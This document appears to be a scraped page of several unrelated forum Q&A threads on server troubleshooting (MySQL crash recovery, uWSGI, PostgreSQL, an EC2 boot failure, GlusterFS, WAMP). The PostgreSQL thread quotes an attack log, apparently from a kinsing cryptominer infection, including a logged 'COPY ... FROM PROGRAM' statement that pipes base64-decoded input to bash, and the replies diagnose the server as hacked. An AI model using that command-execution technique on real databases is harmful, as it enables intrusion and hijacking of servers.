Can't start mysqld/mysql - opensuse

first I have to say I'm a mysql newbie.
Basically mysql does not start and says:
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysql.sock' (2)
Now Here are the steps with which I ruined everything:
Due to it was not possible to log into my system (otrs) I thought a restore of an older backup would help.
While the restore process the backup manager said I need to drop the old db. I tried it but the process did not finish and so I cancelled it.
After this I tried to reboot the system but had huge problems with this but when I finished the reboot I tried to run mysql but it said it could not find the mysql.socket.
At this point I thought it would be better to reinstall mysql and did so but this did not help.
When trying to start mysqld as mysql user it said:
[ERROR] Found 1 prepared transactions! It means that mysqld was not shut down properly last time and critical recovery information (last binlog or tc.log file) was manually deleted after a crash. You have to start mysqld with --tc-heuristic-recover switch to commit or rollback pending transactions.
trying both did not help:
mysql:/root> /usr/sbin/mysqld --tc-heuristic-recover commit
131213 16:46:00 InnoDB: The InnoDB memory heap is disabled
131213 16:46:00 InnoDB: Mutexes and rw_locks use GCC atomic builtins
131213 16:46:00 InnoDB: Compressed tables use zlib 1.2.7
131213 16:46:00 InnoDB: Using Linux native AIO
131213 16:46:00 InnoDB: Initializing buffer pool, size = 128.0M
131213 16:46:00 InnoDB: Completed initialization of buffer pool
131213 16:46:00 InnoDB: highest supported file format is Barracuda.
131213 16:46:01 InnoDB: Waiting for the background threads to start
131213 16:46:02 Percona XtraDB (http://www.percona.com) 5.5.33-MariaDB-31.1 started; log sequence number 3710898915
131213 16:46:02 [Note] Server socket created on IP: '0.0.0.0'.
131213 16:46:02 [ERROR] Event Scheduler: Failed to open table mysql.event
131213 16:46:02 [ERROR] Event Scheduler: Error while loading from disk.
131213 16:46:02 [Note] Event Scheduler: Purging the queue. 0 events
131213 16:46:02 [ERROR] Aborting
131213 16:46:02 InnoDB: Starting shutdown...
131213 16:46:03 InnoDB: Shutdown completed; log sequence number 3710898915
131213 16:46:03 [Note] /usr/sbin/mysqld: Shutdown complete
Running systemctl start mysql.service fails anytime:
mysql.service - LSB: Start the MySQL database server
Loaded: loaded (/etc/init.d/mysql)
Active: failed (Result: timeout) since Fri, 13 Dec 2013 16:27:12 +0100; 23min ago
Process: 8845 ExecStart=/etc/init.d/mysql start (code=killed, signal=TERM)
CGroup: name=systemd:/system/mysql.service
Dec 13 16:31:21 mysql[8845]: otrs.user_preferences OK
Dec 13 16:31:21 mysql[8845]: otrs.users OK
Dec 13 16:31:21 mysql[8845]: otrs.valid OK
Dec 13 16:31:21 mysql[8845]: otrs.virtual_fs OK
Dec 13 16:31:21 mysql[8845]: otrs.virtual_fs_db OK
Dec 13 16:31:21 mysql[8845]: otrs.virtual_fs_preferences OK
Dec 13 16:31:21 mysql[8845]: otrs.web_upload_cache OK
Dec 13 16:31:21 mysql[8845]: otrs.xml_storage OK
Dec 13 16:31:21 mysql[8845]: performance_schema
Dec 13 16:31:21 mysql[8845]: Phase 3/3: Running 'mysql_fix_privilege_tables'...
I have absolutely no clue what to do. Could anyone help me?
How can the otrs tables been droped/deleted without using the mysql DROP command?
Would this help anyway?
Thank you.

mysqld --tc-heuristic-recover=ROLLBACK
Didn't quite do the magic for me. However the following worked
mysqld_safe --tc-heuristic-recover=COMMIT

I was able to overcome this issue on CentOS 6 with
service mysql start --tc-heuristic-recover=ROLLBACK
which ultimately discarded the commit in question. I'm not sure if systemd scripts support passing additional parameters. Maybe you could try and run it manually with the =
mysqld --tc-heuristic-recover=ROLLBACK

On mysql 5.6.x, and because of this off-by-one https://bugs.mysql.com/bug.php?id=70860 bug, I was able to get past this by doing
sudo service mysql start --tc-heuristic-recover=0
which presumably commits the tx.

Answer from ->> https://www.youtube.com/watch?v=qr-t8ksYO78
go to my.cnf file, note that you will find multiple my.cnf file, i had to look at all of them to find this->
# The MySQL server
[mysqld]
user = mysql
port=3306
socket = /opt/lampp/var/mysql/mysql.sock
Copy the socket path and writ it like ->
mysql -u root -p --socket=/opt/lampp/var/mysql/mysql.sock
Thanks

If any of the above doesn't work for you.
Edit mysql config file by doing the below:
sudo nano /etc/mysql/my.cnf and add tc-heuristic-recover=rollback under [mysqld]
Try to start mysql/mariadb server by
sudo systemctl start mysqld.service and it should fail with this error Can't init tc log.
Don't worry, just edit the config file again and comment tc-heuristic-recover=rollback
Try to start the mysql server again with sudo systemctl start mysqld.service and it should work fine.
Check the status to confirm systemctl status mysqld.service

You can try this command that I use Centos 7 that is work:
#mysqld_safe --wsrep-recover --tc-heuristic-recover=ROLLBACK
and then restart a service again.

Related

How can I get uwsgi quickstart 'Hello World' to work on Digital Ocean?

The reason I asked this question is that every other question regarding the subject that I have seen on Stack Overflow is more complicated than mine. I am not trying to get uwsgi to work with anything else. I am simply trying to get the most basic implementation of it to actually do something.
I am following these instructions:
https://uwsgi-docs.readthedocs.io/en/latest/WSGIquickstart.html
My domain is called "prosaurus.com" and It's registered on Godaddy. I have hosting through Digital Ocean which has provided me with the following IP address: 143.198.142.59
In Digital Ocean I have set up two A records to point to the associated droplet/IP address. One is for "prosuaurus.com" the other is for "*.prosuarus.com"
I have followed the instructions exactly, opting for PIP to install uwsgi (as opposed to using wget and make).
I have created a file called 'foobar.py' as suggested and entered the suggested contents.
I have started the server as suggested on port 9090. This is the output I get:
uwsgi --http :9090 --wsgi-file foobar.py
*** Starting uWSGI 2.0.20 (64bit) on [Wed Sep 7 16:45:00 2022] ***
compiled with version: 11.2.0 on 02 September 2022 19:04:11
os: Linux-5.15.0-47-generic #51-Ubuntu SMP Thu Aug 11 07:51:15 UTC 2022
nodename: ubuntu-s-1vcpu-1gb-intel-sfo3-01
machine: x86_64
clock source: unix
detected number of CPU cores: 1
current working directory: /home/deployer
detected binary path: /home/deployer/.local/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
*** WARNING: you are running uWSGI without its master process manager ***
your processes number limit is 3721
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
uWSGI http bound on :9090 fd 4
spawned uWSGI http 1 (pid: 59211)
uwsgi socket 0 bound to TCP address 127.0.0.1:46629 (port auto-assigned) fd 3
Python version: 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0]
*** Python threads support is disabled. You can enable it with --enable-threads ***
Python main interpreter initialized at 0x55b300c4fb30
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
mapped 72920 bytes (71 KB) for 1 cores
*** Operational MODE: single process ***
WSGI app 0 (mountpoint='') ready in 0 seconds on interpreter 0x55b300c4fb30 pid: 59210 (default app)
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI worker 1 (and the only) (pid: 59210, cores: 1)
oba
Everything appears to have worked correctly. I saw no error messages in any of the above steps (There was one warning suggesting I should use a virtual environment but this was just a warning right?)
yet, I do not see my hello world page. I don't see it on http://prosaurus.com:9090 or http://www.prosaurus.com:9090 or http://143.198.142.59:9090
What could I have possibly missed?
Side note: This server does have nginx installed on it, however I specifically turned it off before this test.
Firewall...
sudo ufw allow 9090
It would have been nice if they had mentioned this possibility in the docs.

Postgresql database server keeps shutting down randomly [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 1 year ago.
Improve this question
During last two days, it's been five or six times which my postgres database server was shut down unexpectedly, often when server traffic was at the lowest level.
So i checked postgresql log:
2021-09-18 10:17:36.099 GMT [22856] LOG: received smart shutdown request
2021-09-18 10:17:36.111 GMT [22856] LOG: background worker "logical replication launcher" (PID 22863) exited with exit code 1
grep: Trailing backslash
kill: (28): Operation not permitted
2021-09-18 10:17:39.601 GMT [55614] XXX#XXX FATAL: the database system is shutting down
2021-09-18 10:17:39.603 GMT [55622] XXX#XXX FATAL: the database system is shutting down
2021-09-18 10:17:39.686 GMT [55635] XXX#XXX FATAL: the database system is shutting down
2021-09-18 10:17:39.688 GMT [55636] XXX#XXX FATAL: the database system is shutting down
2021-09-18 10:17:39.718 GMT [55642] XXX#XXX FATAL: the database system is shutting down
2021-09-18 10:17:39.720 GMT [55643] XXX#XXX FATAL: the database system is shutting down
kill: (55736): No such process
kill: (55741): No such process
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Failed to stop c3pool_miner.service: Interactive authentication required.
See system logs and 'systemctl status c3pool_miner.service' for details.
pkill: killing pid 654 failed: Operation not permitted
pkill: killing pid 717 failed: Operation not permitted
pkill: killing pid 717 failed: Operation not permitted
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 525: docker: command not found
bash: line 526: docker: command not found
bash: line 527: docker: command not found
bash: line 528: docker: command not found
bash: line 529: docker: command not found
bash: line 530: docker: command not found
bash: line 531: docker: command not found
bash: line 532: docker: command not found
bash: line 533: docker: command not found
bash: line 534: docker: command not found
bash: line 547: setenforce: command not found
bash: line 548: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Interactive authentication required.
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Interactive authentication required.
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Interactive authentication required.
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Interactive authentication required.
/tmp/kinsing is 648effa354b3cbaad87b45f48d59c616
2021-09-18 10:17:49.860 GMT [54832] admin#postgres FATAL: terminating connection due to administrator command
2021-09-18 10:17:49.860 GMT [54832] admin#postgres CONTEXT: COPY uegplqsl, line 1: "/tmp/kinsing exists"
2021-09-18 10:17:49.860 GMT [54832] admin#postgres STATEMENT: DROP TABLE IF EXISTS XXX;CREATE TABLE XXX(cmd_output text);COPY XXXFROM PROGRAM 'echo ... |base64 -d|bash';SELECT * FROM XXX;DROP TABLE IF EXISTS XXX;
2021-09-18 10:17:49.877 GMT [22858] LOG: shutting down
2021-09-18 10:17:49.907 GMT [22856] LOG: database system is shut down
I learned it could be another process sending SIGTERM, SIGINT or SIGQUIT signals to database server. So i used systemtap to catch any signal for shutting down database server. After postgresql shut down again, i got this:
Now i have the PID of these processes which are sending shut down signals. What can i do to prevent this from happening again?
VPS operating system is Ubuntu 20.04.3 LTS. The backend is written in Django and database is Postgresql 12.
You have been hacked. Rebuild the system, and this time pick a good password for your superuser, and don't let anyone log on from the outside at all unless that is necessary, and if it is don't let them do so as the superuser.

AWS - EC 2 All of sudden lost access due to No /sbin/init, trying fallback

In my AWS EC2 instance, was locked and lost access from December 6th for an unknown reason, it cannot be an action i did on the EC2, because i was overseas on holidays from December 01st and Came back January 01st, I realized server was lost connection from 6t December and i have no way to connect to the EC2 now on,
EC2 runs on CENTOS 7 and PHP, NGINX, SSHD setup.
When i checked the System Log i see below.
[[32m OK [0m] Started Cleanup udevd DB.
[[32m OK [0m] Reached target Switch Root.
Starting Switch Root...
[ 6.058942] systemd-journald[99]: Received SIGTERM from PID 1 (systemd).
[ 6.077915] systemd[1]: No /sbin/init, trying fallback
[ 6.083729] systemd[1]: Failed to execute /bin/sh, giving up: No such file or directory
[ 180.596117] random: crng init done
Any idea on what is the issue will be much appreciated
In Brief, i had to following to recover, The root cause has been that the disk was completely full.
) Problem mounting the slaved volume (xfs_admin)
) Not able to chroot the environment (ln -s)
) Disk at 100% (df -h) Removing var/log files
) Rebuilt the initramfs (dracut -f)
) Rename the etc/fstab
) Switched the Slave volume back to original UUID (xfs_admin)
) Configured the Grub to boot the latest version of the kernel/initramfs
) Rebuilt Initramfs and Grub

Glusterfs-server can't stop in good status

Glusterfs-server can't stop in good status.
I have been trying the following steps to install glusterfs and start service.
yum install centos-release-gluster
yum install glusterfs-server
systemctl start glusterd
and stop it.
systemctl stop glusterd
Then displayed following status "Active: failed".
glusterd.service - GlusterFS, a clustered file-system server
Loaded: loaded (/usr/lib/systemd/system/glusterd.service; disabled)
Active: failed (Result: exit-code) since 火 2017-01-24 18:23:55 JST; 4s ago
Process: 2523 ExecStart=/usr/sbin/glusterd -p /var/run/glusterd.pid --log-level $LOG_LEVEL $GLUSTERD_OPTIONS (code=exited, status=0/SUCCESS)
Main PID: 2524 (code=exited, status=15)
1月 24 18:23:52 ds009 systemd[1]: Started GlusterFS, a clustered file-system server.
1月 24 18:23:55 ds009 systemd[1]: Stopping GlusterFS, a clustered file-system server...
1月 24 18:23:55 ds009 systemd[1]: glusterd.service: main process exited, code=exited, status=15/n/a
1月 24 18:23:55 ds009 systemd[1]: Stopped GlusterFS, a clustered file-system server.
1月 24 18:23:55 ds009 systemd[1]: Unit glusterd.service entered failed state.
Hint: Some lines were ellipsized, use -l to show in full.
Using environment is"CentOS Linux release 7.2.1511 (Core)"
And installed glusterfs-server version is 3.8.8-1.el7.
Does anyone have an idea what wrong is and to fix this.
I have found a workaround.
Edit /usr/lib/systemd/system/glusterd.service file as following.
[Service]
Type=forking
PIDFile=/var/run/glusterd.pid
LimitNOFILE=65536
Environment="LOG_LEVEL=INFO"
EnvironmentFile=-/etc/sysconfig/glusterd
ExecStart=/usr/sbin/glusterd -p /var/run/glusterd.pid --log-level $LOG_LEVEL $GLUSTERD_OPTIONS
ExecStopPost=/usr/bin/systemctl reset-failed glusterd # Add this
KillMode=process
The failed status is clear when the GlusterFS service stop.

Windows 10 - WAMP Orange

I've installed WAMP 64bit server on my windows 10 enterprise machine. However I'm getting a orange icon. I've checked the following:
Apache -> Service, the start/resume service is greyed out and stop service is red. In addition Test Port 80 gives me:
Your port 80 is actually used by :
Server: Apache/2.4.9 (Win64) PHP/5.5.12
Mysql -> service, start/resume service is green. When I click on it nothing happens.
I've tried turning off the windows firewall, nothing happens.
I've checked for skype but it is actually not installed on my machine. Tried netstat-b in the command prompt and I can't see anything with port 80
Searched for mysql-bin.index to delete but nothing came up.
Any help on what I can try next will be grateful. Thanks
UPDATE
Following RiggsFolly advice below are the erros I am getting from MySQL via the windows event logger:
2015-08-08 08:31:08 7024 [Note] Plugin 'FEDERATED' is disabled.
2015-08-08 08:31:08 18ec InnoDB: Warning: Using innodb_additional_mem_pool_size is DEPRECATED. This option may be removed in future releases, together with the option innodb_use_sys_malloc and with the InnoDB's internal memory allocator.
2015-08-08 08:31:08 7024 [Note] InnoDB: Using atomics to ref count buffer pool pages
2015-08-08 08:31:08 7024 [Note] InnoDB: The InnoDB memory heap is disabled
2015-08-08 08:31:08 7024 [Note] InnoDB: Mutexes and rw_locks use Windows interlocked functions
2015-08-08 08:31:08 7024 [Note] InnoDB: Memory barrier is not used
2015-08-08 08:31:08 7024 [Note] InnoDB: Compressed tables use zlib 1.2.3
2015-08-08 08:31:08 7024 [Note] InnoDB: Not using CPU crc32 instructions
2015-08-08 08:31:08 7024 [Note] InnoDB: Initializing buffer pool, size = 16.0M
2015-08-08 08:31:08 7024 [Note] InnoDB: Completed initialization of buffer pool
2015-08-08 08:31:08 7024 [Note] InnoDB: Highest supported file format is Barracuda.
2015-08-08 08:31:08 18ec InnoDB: Operating system error number 87 in a file operation.
InnoDB: Some operating system error numbers are described at
InnoDB: http://dev.mysql.com/doc/refman/5.6/en/operating-system-error-codes.html
2015-08-08 08:31:08 7024 [ERROR] InnoDB: File C:\wamp\mysql\data\ib_logfile0: 'aio read' returned OS error 187. Cannot continue operation
Also from googling I tried adding the following line to my.ini file, but still get the same error:
innodb_flush_method=normal
In Windows 10 Microsoft decided to enable the "World Wide Web Publishing Service" (a webserver) by default.
Try and run in cmd:
netstat -aon | findstr :80
And see something like:
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
...
TCP [::]:80 [::]:0 LISTENING 4
TCP [::1]:80 [::1]:50558 ESTABLISHED 4
TCP [::1]:50558 [::1]:80 ESTABLISHED 11504
You know you have another service blocking port 80.
Solution:
Start -> Type "Services" -> Enter -> Find "World Wide Web Publishing Service" -> Select it -> Right click -> Properties -> Change Startup type: Automatic to Manual and click the Stop bottom -> Apply/OK.
Now you can right click on you WAMP icon and click "Restart All Services".
Viola!
I know this thread is a bit old but I found a solution to my problem.
From the WAMP icon, navigate to:
wampmanager -> Apache -> Service -> Install Service
wampmanager -> MySQL -> Service -> Install Service
When Apache failed for me, it suggested that Skype might be the problem, because it was utilizing the requisite ports. I quit Skype, restarted all WAMP services, and got the green light... or green W rather ;)
Change the port WAMP is using. By default, WAMP uses port 80. You can change the port by: right click WAMP > tools > "Use port other than #"
Hope this helps!